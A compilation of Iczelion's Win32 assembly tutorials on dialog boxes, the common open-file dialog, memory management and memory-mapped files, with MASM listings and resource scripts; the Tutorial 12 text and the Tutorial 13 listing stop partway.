A modeless dialog box is created by calling CreateDialogParam API function. A modal dialog box is created by calling DialogBoxParam. The only distinction between an application modal dialog box and a system modal one is the DS_SYSMODAL style. If you include DS_SYSMODAL style in a dialog box template, that dialog box will be a system modal one.
You can communicate with any child window control on a dialog box by using SendDlgItemMessage function. Its syntax is like this:
SendDlgItemMessage proto hwndDlg:DWORD,\
idControl:DWORD,\
uMsg:DWORD,\
wParam:DWORD,\
lParam:DWORD
This API call is immensely useful for interacting with a child window control. For example, if you want to get the text from an edit control, you can do this:
call SendDlgItemMessage, hDlg, ID_EDITBOX, WM_GETTEXT, 256, ADDR text_buffer
In order to know which message to send, you should consult your Win32 API reference.
Windows also provides several control-specific API functions to get and set data quickly, for example, GetDlgItemText, CheckDlgButton etc. These control-specific functions are provided for programmer's convenience so he doesn't have to look up the meanings of wParam and lParam for each message. Normally, you should use control-specific API calls when they're available since they make source code maintenance easier. Resort to SendDlgItemMessage only if no control-specific API calls are available.
The Windows dialog box manager sends some messages to a specialized callback function called a dialog box procedure which has the following format:
DlgProc proto hDlg:DWORD ,\
iMsg:DWORD ,\
wParam:DWORD ,\
lParam:DWORD
The dialog box procedure is very similar to a window procedure except for the type of return value which is TRUE/FALSE instead of LRESULT. The internal dialog box manager inside Windows IS the true window procedure for the dialog box. It calls our dialog box procedure with some messages that it received. So the general rule of thumb is that: if our dialog box procedure processes a message,it MUST return TRUE in eax and if it does not process the message, it must return FALSE in eax. Note that a dialog box procedure doesn't pass the messages it does not process to the DefWindowProc call since it's not a real window procedure.
There are two distinct uses of a dialog box. You can use it as the main window of your application or use it as an input device. We 'll examine the first approach in this tutorial.
"Using a dialog box as main window" can be interpreted in two different senses.
  1. You can use the dialog box template as a class template which you register with RegisterClassEx call. In this case, the dialog box behaves like a "normal" window: it receives messages via a window procedure referred to by lpfnWndProc member of the window class, not via a dialog box procedure. The benefit of this approach is that you don't have to create child window controls yourself, Windows creates them for you when the dialog box is created. Also Windows handles the keyboard logic for you such as Tab order etc. Plus you can specify the cursor and icon of your window in the window class structure.

    2. Your program just creates the dialog box without creating any parent window. This approach makes a message loop unnecessary since the messages are sent directly to the dialog box procedure. You don't even have to register a window class!
This tutorial is going to be a long one. I'll present the first approach followed by the second.

Examples:

dialog.asm

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
ClassName db "DLGCLASS",0
MenuName db "MyMenu",0
DlgName db "MyDialog",0
AppName db "Our First Dialog Box",0
TestString db "Wow! I'm in an edit box now",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
buffer db 512 dup(?)

.const
IDC_EDIT equ 3000
IDC_BUTTON equ 3001
IDC_EXIT equ 3002
IDM_GETTEXT equ 32000
IDM_CLEAR equ 32001
IDM_EXIT equ 32002

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hDlg:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,DLGWINDOWEXTRA
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_BTNFACE+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateDialogParam,hInstance,ADDR DlgName,NULL,NULL,NULL
mov hDlg,eax
invoke ShowWindow, hDlg,SW_SHOWNORMAL
invoke UpdateWindow, hDlg
invoke GetDlgItem,hDlg,IDC_EDIT
invoke SetFocus,eax
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke IsDialogMessage, hDlg, ADDR msg
.IF eax ==FALSE
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDIF
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0
.IF ax==IDM_GETTEXT
invoke GetDlgItemText,hWnd,IDC_EDIT,ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK
.ELSEIF ax==IDM_CLEAR
invoke SetDlgItemText,hWnd,IDC_EDIT,NULL
.ELSE
invoke DestroyWindow,hWnd
.ENDIF
.ELSE
mov edx,wParam
shr edx,16
.IF dx==BN_CLICKED
.IF ax==IDC_BUTTON
invoke SetDlgItemText,hWnd,IDC_EDIT,ADDR TestString
.ELSEIF ax==IDC_EXIT
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0
.ENDIF
.ENDIF
.ENDIF
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Dialog.rc

#include "resource.h"

#define IDC_EDIT 3000
#define IDC_BUTTON 3001
#define IDC_EXIT 3002

#define IDM_GETTEXT 32000
#define IDM_CLEAR 32001
#define IDM_EXIT 32003

MyDialog DIALOG 10, 10, 205, 60
STYLE 0x0004 | DS_CENTER | WS_CAPTION | WS_MINIMIZEBOX |
WS_SYSMENU | WS_VISIBLE | WS_OVERLAPPED | DS_MODALFRAME | DS_3DLOOK
CAPTION "Our First Dialog Box"
CLASS "DLGCLASS"
BEGIN
EDITTEXT IDC_EDIT, 15,17,111,13, ES_AUTOHSCROLL | ES_LEFT
DEFPUSHBUTTON "Say Hello", IDC_BUTTON, 141,10,52,13
PUSHBUTTON "E&xit", IDC_EXIT, 141,26,52,13, WS_GROUP
END

MyMenu MENU
BEGIN
POPUP "Test Controls"
BEGIN
MENUITEM "Get Text", IDM_GETTEXT
MENUITEM "Clear Text", IDM_CLEAR
MENUITEM "", , 0x0800 /*MFT_SEPARATOR*/
MENUITEM "E&xit", IDM_EXIT
END
END

Analysis:

Let's analyze this first example.
This example shows how to register a dialog template as a window class and create a "window" from that class. It simplifies your program since you don't have to create the child window controls yourself.
Let's first analyze the dialog template.

MyDialog DIALOG 10, 10, 205, 60

Declare the name of a dialog, in this case, "MyDialog" followed by the keyword "DIALOG". The following four numbers are: x, y , width, and height of the dialog box in dialog box units (not the same as pixels).

STYLE 0x0004 | DS_CENTER | WS_CAPTION | WS_MINIMIZEBOX |
WS_SYSMENU | WS_VISIBLE | WS_OVERLAPPED | DS_MODALFRAME | DS_3DLOOK

Declare the styles of the dialog box.

CAPTION "Our First Dialog Box"

This is the text that will appear in the dialog box's title bar.

CLASS "DLGCLASS"

This line is crucial. It's this CLASS keyword that allows us to use the dialog box template as a window class. Following the keyword is the name of the "window class"

BEGIN
EDITTEXT IDC_EDIT, 15,17,111,13, ES_AUTOHSCROLL | ES_LEFT
DEFPUSHBUTTON "Say Hello", IDC_BUTTON, 141,10,52,13
PUSHBUTTON "E&xit", IDC_EXIT, 141,26,52,13
END

The above block defines the child window controls in the dialog box. They're defined between BEGIN and END keywords. Generally the syntax is as follows:

    control-type "text" ,controlID, x, y, width, height [,styles]
control-types are resource compiler's constants so you have to consult the manual.
Now we go to the assembly source code. The interesting part is in the window class structure:
    mov wc.cbWndExtra,DLGWINDOWEXTRA
    mov wc.lpszClassName,OFFSET ClassName
Normally, this member is left NULL, but if we want to register a dialog box template as a window class, we must set this member to the value DLGWINDOWEXTRA. Note that the name of the class must be identical to the one following the CLASS keyword in the dialog box template. The remaining members are initialized as usual. After you fill the window class structure, register it with RegisterClassEx. Seems familiar? This is the same routine you have to do in order to register a normal window class.
    invoke CreateDialogParam,hInstance,ADDR DlgName,NULL,NULL,NULL
After registering the "window class", we create our dialog box. In this example, I create it as a modeless dialog box with CreateDialogParam function. This function takes 5 parameters but you only have to fill in the first two: the instance handle and the pointer to the name of the dialog box template. Note that the 2nd parameter is not a pointer to the class name.
At this point, the dialog box and its child window controls are created by Windows. Your window procedure will receive WM_CREATE message as usual.
    invoke GetDlgItem,hDlg,IDC_EDIT
    invoke SetFocus,eax
After the dialog box is created, I want to set the input focus to the edit control. If I put these codes in WM_CREATE section, GetDlgItem call will fail since at that time, the child window controls are not created yet. The only way you can do this is to call it after the dialog box and all its child window controls are created. So I put these two lines after the UpdateWindow call. GetDlgItem function gets the control ID and returns the associated control's window handle. This is how you can get a window handle if you know its control ID.

invoke IsDialogMessage, hDlg, ADDR msg
.IF eax ==FALSE
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDIF

The program enters the message loop and before we translate and dispatch messages, we call IsDialogMessage function to let the dialog box manager handles the keyboard logic of our dialog box for us. If this function returns TRUE , it means the message is intended for the dialog box and is processed by the dialog box manager. Note another difference from the previous tutorial. When the window procedure wants to get the text from the edit control, it calls GetDlgItemText function instead of GetWindowText. GetDlgItemText accepts a control ID instead of a window handle. That makes the call easier in the case you use a dialog box.

Now let's go to the second approach to using a dialog box as a main window. In the next example, I 'll create an application modal dialog box. You'll not find a message loop or a window procedure because they're not necessary!
dialog.asm (part 2)

.386
.model flat,stdcall
option casemap:none

DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
DlgName db "MyDialog",0
AppName db "Our Second Dialog Box",0
TestString db "Wow! I'm in an edit box now",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
buffer db 512 dup(?)

.const
IDC_EDIT equ 3000
IDC_BUTTON equ 3001
IDC_EXIT equ 3002
IDM_GETTEXT equ 32000
IDM_CLEAR equ 32001
IDM_EXIT equ 32002

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke DialogBoxParam, hInstance, ADDR DlgName,NULL, addr DlgProc, NULL
invoke ExitProcess,eax

DlgProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_INITDIALOG
invoke GetDlgItem, hWnd,IDC_EDIT
invoke SetFocus,eax
.ELSEIF uMsg==WM_CLOSE
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0
.IF ax==IDM_GETTEXT
invoke GetDlgItemText,hWnd,IDC_EDIT,ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK
.ELSEIF ax==IDM_CLEAR
invoke SetDlgItemText,hWnd,IDC_EDIT,NULL
.ELSEIF ax==IDM_EXIT
invoke EndDialog, hWnd,NULL
.ENDIF
.ELSE
mov edx,wParam
shr edx,16
.if dx==BN_CLICKED
.IF ax==IDC_BUTTON
invoke SetDlgItemText,hWnd,IDC_EDIT,ADDR TestString
.ELSEIF ax==IDC_EXIT
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0
.ENDIF
.ENDIF
.ENDIF
.ELSE
mov eax,FALSE
ret
.ENDIF
mov eax,TRUE
ret
DlgProc endp
end start

dialog.rc (part 2)

#include "resource.h"

#define IDC_EDIT 3000
#define IDC_BUTTON 3001
#define IDC_EXIT 3002

#define IDR_MENU1 3003

#define IDM_GETTEXT 32000
#define IDM_CLEAR 32001
#define IDM_EXIT 32003

MyDialog DIALOG 10, 10, 205, 60
STYLE 0x0004 | DS_CENTER | WS_CAPTION | WS_MINIMIZEBOX |
WS_SYSMENU | WS_VISIBLE | WS_OVERLAPPED | DS_MODALFRAME | DS_3DLOOK
CAPTION "Our Second Dialog Box"
MENU IDR_MENU1
BEGIN
EDITTEXT IDC_EDIT, 15,17,111,13, ES_AUTOHSCROLL | ES_LEFT
DEFPUSHBUTTON "Say Hello", IDC_BUTTON, 141,10,52,13
PUSHBUTTON "E&xit", IDC_EXIT, 141,26,52,13
END

IDR_MENU1 MENU
BEGIN
POPUP "Test Controls"
BEGIN
MENUITEM "Get Text", IDM_GETTEXT
MENUITEM "Clear Text", IDM_CLEAR
MENUITEM "", , 0x0800 /*MFT_SEPARATOR*/
MENUITEM "E&xit", IDM_EXIT
END
END

The analysis follows:

DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD

We declare the function prototype for DlgProc so we can refer to it with addr operator in the line below:

invoke DialogBoxParam, hInstance, ADDR DlgName,NULL, addr DlgProc, NULL

The above line calls DialogBoxParam function which takes 5 parameters: the instance handle, the name of the dialog box template, the parent window handle, the address of the dialog box procedure, and the dialog-specific data. DialogBoxParam creates a modal dialog box. It will not return until the dialog box is destroyed.

.IF uMsg==WM_INITDIALOG
invoke GetDlgItem, hWnd,IDC_EDIT
invoke SetFocus,eax
.ELSEIF uMsg==WM_CLOSE
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0

The dialog box procedure looks like a window procedure except that it doesn't receive WM_CREATE message. The first message it receives is WM_INITDIALOG. Normally you can put the initialization code here. Note that you must return the value TRUE in eax if you process the message.
The internal dialog box manager doesn't send our dialog box procedure the WM_DESTROY message by default when WM_CLOSE is sent to our dialog box. So if we want to react when the user presses the close button on our dialog box, we must process WM_CLOSE message. In our example, we send WM_COMMAND message with the value IDM_EXIT in wParam. This has the same effect as when the user selects Exit menu item. EndDialog is called in response to IDM_EXIT.
The processing of WM_COMMAND messages remains the same.
When you want to destroy the dialog box, the only way is to call EndDialog function. Do not try DestroyWindow! EndDialog doesn't destroy the dialog box immediately. It only sets a flag for the internal dialog box manager and continues to execute the next instructions.
Now let's examine the resource file. The notable change is that instead of using a text string as menu name we use a value, IDR_MENU1. This is necessary if you want to attach a menu to a dialog box created with DialogBoxParam. Note that in the dialog box template, you have to add the keyword MENU followed by the menu resource ID.
A difference between the two examples in this tutorial that you can readily observe is the lack of an icon in the latter example. However, you can set the icon by sending the message WM_SETICON to the dialog box during WM_INITDIALOG.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 11: More about Dialog Box

We will learn more about dialog box in this tutorial. Specifically, we will explore the topic of how to use dialog boxs as our input-output devices. If you read the previous tutorial, this one will be a breeze since only a minor modification is all that's needed to be able to use dialog boxes as adjuncts to our main window. Also in this tutorial, we will learn how to use common dialog boxes.

Download the dialog box examples here and here. Download Common Dialog Box example here.

Theory:

Very little is to be said about how to use dialog boxes as input-output devices of our program. Your program creates the main window as usual and when you want to display the dialog box, just call CreateDialogParam or DialogBoxParam. With DialogBoxParam call, you don't have to do anything more, just process the messages in the dialog box procedure. With CreateDialogParam, you must insert IsDialogMessage call in the message loop to let dialog box manager handle the keyboard navigation in your dialog box for you. Since the two cases are trivial, I'll not put the source code here. You can download the examples and examine them yourself, here and here.
Let's go on to the common dialog boxes. Windows has prepared predefined dialog boxes for use by your applications. These dialog boxes exist to provide standardized user interface. They consist of file, print, color, font, and search dialog boxes. You should use them as much as possible. The dialog boxes reside in comdlg32.dll. In order to use them, you have to link to comdlg32.lib. You create these dialog boxes by calling appropriate functions in the common dialog library. For open file dialog, it is GetOpenFileName, for save as dialog it is GetSaveFileName, for print dialog it is PrintDlg and so on. Each one of these functions takes a pointer to a structure as its parameter. You should look them up in Win32 API reference. In this tutorial, I'll demonstrate how to create and use an open file dialog.
Below is the function prototype of GetOpenFileName function:
GetOpenFileName proto lpofn:DWORD
You can see that it receives only one parameter, a pointer to an OPENFILENAME structure. The return value TRUE means the user selected a file to open, it's FALSE otherwise. We will look at OPENFILENAME structure next.
OPENFILENAME STRUCT
lStructSize DWORD ?
hwndOwner HWND ?
hInstance HINSTANCE ?
lpstrFilter LPCSTR ?
lpstrCustomFilter LPSTR ?
nMaxCustFilter DWORD ?
nFilterIndex DWORD ?
lpstrFile LPSTR ?
nMaxFile DWORD ?
lpstrFileTitle LPSTR ?
nMaxFileTitle DWORD ?
lpstrInitialDir LPCSTR ?
lpstrTitle LPCSTR ?
Flags DWORD ?
nFileOffset WORD ?
nFileExtension WORD ?
lpstrDefExt LPCSTR ?
lCustData LPARAM ?
lpfnHook DWORD ?
lpTemplateName LPCSTR ?
OPENFILENAME ENDS
Let's see the meaning of the frequently used members.
lStructSize | The size of the OPENFILENAME structure , in bytes
hwndOwner | The window handle of the open file dialog box.
hInstance | Instance handle of the application that creates the open file dialog box
lpstrFilter | The filter strings in the format of pairs of null terminated strings. The first string in each pair is the description. The second string is the filter pattern. for example: FilterString db "All Files (*.*)",0, "*.*",0 db "Text Files (*.txt)",0,"*.txt",0,0 Note that only the pattern in the second string in each pair is actually used by Windows to filter out the files. Also noted that you have to put an extra 0 at the end of the filter strings to denote the end of it.
nFilterIndex | Specify which pair of the filter strings will be initially used when the open file dialog is first displayed. The index is 1-based, that is the first pair is 1, the second pair is 2 and so on. So in the above example, if we specify nFilterIndex as 2, the second pattern, "*.txt" will be used.
lpstrFile | Pointer to the buffer that contains the filename used to initialize the filename edit control on the dialog box. The buffer should be at least 260 bytes long. After the user selects a file to open, the filename with full path is stored in this buffer. You can extract the information from it later.
nMaxFile | The size of the lpstrFile buffer.
lpstrTitle | Pointer to the title of the open file dialog box
Flags | Determine the styles and characteristics of the dialog box.
nFileOffset | After the user selects a file to open, this member contains the index to the first character of the actual filename. For example, if the full name with path is "c:\windows\system\lz32.dll", the this member will contain the value 18.
nFileExtension | After the user selects a file to open, this member contains the index to the first character of the file extension

Example:

The following program displays an open file dialog box when the user selects File-> Open from the menu. When the user selects a file in the dialog box, the program displays a message box showing the full name, filename,and extension of the selected file.

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

.const
IDM_OPEN equ 1
IDM_EXIT equ 2
MAXSIZE equ 260
OUTPUTSIZE equ 512

.data
ClassName db "SimpleWinClass",0
AppName db "Our Main Window",0
MenuName db "FirstMenu",0
ofn OPENFILENAME <>
FilterString db "All Files",0,"*.*",0
db "Text Files",0,"*.txt",0,0
buffer db MAXSIZE dup(0)
OurTitle db "-=Our First Open File Dialog Box=-: Choose the file to open",0
FullPathName db "The Full Filename with Path is: ",0
FullName db "The Filename is: ",0
ExtensionName db "The Extension is: ",0
OutputString db OUTPUTSIZE dup(0)
CrLf db 0Dh,0Ah,0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if ax==IDM_OPEN
mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hwndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE
mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
mov ofn.lpstrTitle, OFFSET OurTitle
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke lstrcat,offset OutputString,OFFSET FullPathName
invoke lstrcat,offset OutputString,ofn.lpstrFile
invoke lstrcat,offset OutputString,offset CrLf
invoke lstrcat,offset OutputString,offset FullName
mov eax,ofn.lpstrFile
push ebx
xor ebx,ebx
mov bx,ofn.nFileOffset
add eax,ebx
pop ebx
invoke lstrcat,offset OutputString,eax
invoke lstrcat,offset OutputString,offset CrLf
invoke lstrcat,offset OutputString,offset ExtensionName
mov eax,ofn.lpstrFile
push ebx
xor ebx,ebx
mov bx,ofn.nFileExtension
add eax,ebx
pop ebx
invoke lstrcat,offset OutputString,eax
invoke MessageBox,hWnd,OFFSET OutputString,ADDR AppName,MB_OK
invoke RtlZeroMemory,offset OutputString,OUTPUTSIZE
.endif
.else
invoke DestroyWindow, hWnd
.endif
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analysis:

mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hwndOwner
push hInstance
pop ofn.hInstance

We fill in the routine members of ofn structures.

mov ofn.lpstrFilter, OFFSET FilterString

This FilterString is the filename filter that we specify as follows:

FilterString db "All Files",0,"*.*",0
db "Text Files",0,"*.txt",0,0
Note that All four strings are zero terminated. The first string is the description of the following string. The actual pattern is the even number string, in this case, "*.*" and "*.txt". Actually we can specify any pattern we want here. We MUST put an extra zero after the last pattern string to denote the end of the filter string. Don't forget this else your dialog box will behave strangely.

mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE

We specify where the dialog box will put the filename that the user selects. Note that we must specify its size in nMaxFile member. We can later extract the filename from this buffer.

mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY

Flags specifies the characteristics of the dialog box.
OFN_FILEMUSTEXIST and OFN_PATHMUSTEXIST flags demand that the filename and path that the user types in the filename edit control MUST exist.
OFN_LONGNAMES flag tells the dialog box to show long filenames.
OFN_EXPLORER flag specifies that the appearance of the dialog box must be explorer-like.
OFN_HIDEREADONLY flag hides the read-only checkbox on the dialog box.
There are many more flags that you can use. Consult your Win32 API reference.

mov ofn.lpstrTitle, OFFSET OurTitle

Specify the title of the dialog box.

invoke GetOpenFileName, ADDR ofn

Call the GetOpenFileName function. Passing the pointer to the ofn structure as its parameter.
At this time, the open file dialog box is displayed on the screen. The function will not return until the user selects a file to open or presses the cancel button or closes the dialog box.
It 'll return the value TRUE in eax if the user selects a file to open. It returns FALSE otherwise.

.if eax==TRUE
invoke lstrcat,offset OutputString,OFFSET FullPathName
invoke lstrcat,offset OutputString,ofn.lpstrFile
invoke lstrcat,offset OutputString,offset CrLf
invoke lstrcat,offset OutputString,offset FullName

In case the user selects a file to open, we prepare an output string to be displayed in a message box. We allocate a block of memory in OutputString variable and then we use an API function, lstrcat, to concatenate the strings together. In order to put the strings into several lines, we must separate each line with a carriage return-line feed pair.

mov eax,ofn.lpstrFile
push ebx
xor ebx,ebx
mov bx,ofn.nFileOffset
add eax,ebx
pop ebx
invoke lstrcat,offset OutputString,eax

The above lines require some explanation. nFileOffset contains the index into the ofn.lpstrFile. But you cannot add them together directly since nFileOffset is a WORD-sized variable and lpstrFile is a DWORD-sized one. So I have to put the value of nFileOffset into the low word of ebx and add it to the value of lpstrFile.

invoke MessageBox,hWnd,OFFSET OutputString,ADDR AppName,MB_OK

We display the string in a message box.

invoke RtlZerolMemory,offset OutputString,OUTPUTSIZE

We must *clear* the OutputString before we can fill in another string. So we use RtlZeroMemory function to do the job.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 12: Memory Management and File I/O

We will learn the rudimentary of memory management and file i/o operation in this tutorial. In addition we'll use common dialog boxes as input-output devices.

Download the example here.

Theory:

Memory management under Win32 from the application's point of view is quite simple and straightforward. Each process owns a 4 GB memory address space. The memory model used is called flat memory model. In this model, all segment registers (or selectors) point to the same starting address and the offset is 32-bit so an application can access memory at any point in its own address space without the need to change the value of selectors. This simplifies memory management a lot. There's no "near" or "far" pointer anymore.
Under Win16, there are two main categories of memory API functions: Global and Local. Global-type API calls deal with memory allocated in other segments thus they're "far" memory functions. Local-type API calls deal with the local heap of the process so they're "near" memory functions. Under Win32, these two types are identical. Whether you call GlobalAlloc or LocalAlloc, you get the same result.
Steps in allocating and using memory are as follows:
  1. Allocate a block of memory by calling GlobalAlloc. This function returns a handle to the requested memory block.
  2. "Lock" the memory block by calling GlobalLock. This function accepts a handle to the memory block and returns a pointer to the memory block.
  3. You can use the pointer to read or write memory.
  4. "Unlock" the memory block by calling GlobalUnlock . This function invalidates the pointer to the memory block.
  5. Free the memory block by calling GlobalFree. This function accepts the handle to the memory block.
You can also substitute "Global" by "Local" such as LocalAlloc, LocalLock,etc.
The above method can be further simplified by using a flag in GlobalAlloc call, GMEM_FIXED. If you use this flag, the return value from Global/LocalAlloc will be the pointer to the allocated memory block, not the memory block handle. You don't have to call Global/LocalLock and you can pass the pointer to Global/LocalFree without calling Glo


Iczelion's win32 asm tutorial

Tutorial 13: Memory Mapped Files

I'll show you what memory mapped files are and how to use them to your advantages. Using a memory mapped file is quite easy as you'll see in this tutorial.

Download the example here.

Theory:

If you examine the example in the previous tutorial closely, you'll find that it has a serious shortcoming: what if the file you want to read is larger than the allocated memory block? or what if the string you want to search for is cut off in half at the end of the memory block? The traditional answer for the first question is that you should repeatedly read in the data from the file until the end of file is encountered. The answer to the second question is that you should prepare for the special case at the end of the memory block. This is called a boundary value problem. It presents headaches to programmers and causes innumerable bugs.
It would be nice if we can allocate a very large block of memory, enough to store the whole file but our program would be a resource hog. File mapping to the rescue. By using file mapping, you can think of the whole file as being already loaded into memory and you can use a memory pointer to read or write data from the file. As easy as that. No need to use memory API functions and separate File I/O API functions anymore, they are one and the same under file mapping. File mapping is also used as a means to share data between processes. Using file mapping in this way, there's no actual file involved. It's more like a reserved memory block that every process can *see*. But sharing data between processes is a delicate subject, not to be treated lightly. You have to implement process and thread synchronization else your applications will crash in very short order.
We will not touch the subject of file mapping as a means to create a shared memory region in this tutorial. We'll concentrate on how to use file mapping as a means to "map" a file into memory. In fact, the PE loader uses file mapping to load executable files into memory. It is very convenient since only the necessary portions can be selectively read from the file on the disk. Under Win32, you should use file mapping as much as possible.
There are some limitation to file mapping though. Once you create a memory mapped file, its size cannot be changed during that session. So file mapping is great for read-only files or file operations that don't affect the file size. That doesn't mean that you cannot use file mapping if you want to increase the file size. You can estimate the new size and create the memory mapped file based on the new size and the file will grow to that size. It's just inconvenient, that's all.
Enough for the explanation. Let's dive into implementation of file mapping. In order to use file mapping, these steps must be performed:
  1. call CreateFile to open the file you want to map.
  2. call CreateFileMapping with the file handle returned by CreateFile as one of its parameter. This function creates a file mapping object from the file opened by CreateFile.
  3. call MapViewOfFile to map a selected file region or the whole file to memory. This function returns a pointer to the first byte of the mapped file region.
  4. Use the pointer to read or write the file
  5. call UnmapViewOfFile to unmap the file.
  6. call CloseHandle with the handle to the mapped file as the parameter to close the mapped file.
  7. call CloseHandle again this time with the file handle returned by CreateFile to close the actual file.

Example:

The program listed below lets you open a file via an open file dialog box. It opens the file using file mapping, if it's successful, the window caption is changed to the name of the opened file. You can save the file in another name by select File/Save as menuitem. The program will copy the whole content of the opened file to the new file. Note that you don't have to call GlobalAlloc to allocate a memory block in this program.

.386
.model flat,stdcall
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

.const
IDM_OPEN equ 1
IDM_SAVE equ 2
IDM_EXIT equ 3
MAXSIZE equ 260

.data
ClassName db "Win32ASMFileMappingClass",0
AppName db "Win32 ASM File Mapping Example",0
MenuName db "FirstMenu",0
ofn OPENFILENAME <>
FilterString db "All Files",0,"*.*",0
db "Text Files",0,"*.txt",0,0
buffer db MAXSIZE dup(0)
hMapFile HANDLE 0 ; Handle to the memory mapped file, must be
;initialized with 0 because we also use it as
;a flag in WM_DESTROY section too

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hFileRead HANDLE ? ; Handle to the source file
